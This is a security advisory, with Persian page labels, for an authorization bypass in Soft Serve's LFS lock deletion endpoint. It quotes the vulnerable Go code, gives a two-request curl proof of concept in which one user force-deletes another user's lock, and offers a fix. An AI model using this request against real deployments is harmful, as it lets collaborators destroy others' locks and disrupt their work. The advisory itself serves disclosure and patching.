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- 0.11.2
- نسخههای متأثر
- < 0.11.2
- نسخهٔ اصلاحشده
- 0.11.2
بهرهبرداری
شرح آسیبپذیری
LFS Lock Force-Delete Authorization Bypass
Summary
An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.
Severity
CWE-863: Incorrect Authorization
CVSS 3.1: 5.4 (Medium) —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Affected Code
File: pkg/web/git_lfs.go
Function: serviceLfsLocksDelete (lines 831–945)
Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock
The control flow processes req.Force at line 905 before retrieving user context at line 919:
// Line 905-916: Force delete executes immediately without authorization
if req.Force {
if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
// ...
}
renderJSON(w, http.StatusOK, l)
return // Returns here, never reaching user validation
}
// Line 919: User context retrieved after force path has exited
user := proto.UserFromContext(ctx)
Proof of Concept
Setup: Two users with write access to the same repository—User A (lock owner) and User B (attacker).
-
User A creates a lock:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <user_a_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}' -
User B deletes User A's lock using force flag:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <user_b_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}' -
Result: Lock deleted successfully with
200 OK. Expected:403 Forbidden.
Suggested Fix
Retrieve user context and validate authorization before processing the force flag:
user := proto.UserFromContext(ctx)
if user == nil {
renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{
Message: "unauthorized",
})
return
}
if req.Force {
if !user.IsAdmin() {
renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{
Message: "admin access required for force delete",
})
return
}
if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
// ...
}
renderJSON(w, http.StatusOK, l)
return
}
Impact
Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.
Exploitation Requirements:
Authenticated session
Write access to target repository
Consequences:
Unauthorized deletion of other users' locks
Bypass of LFS file coordination mechanisms
Potential workflow disruption in collaborative environments
Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.
پیوندها
- https://github.com/advisories/GHSA-6jm8-x3g6-r33j
- https://github.com/charmbracelet/soft-serve
- https://github.com/charmbracelet/soft-serve/commit/000ab5164f0be68cf1ea6b6e7227f11c0e388a42
- https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-6jm8-x3g6-r33j
- https://nvd.nist.gov/vuln/detail/CVE-2026-22253
گزارشدهندگان
- Tomer-PL

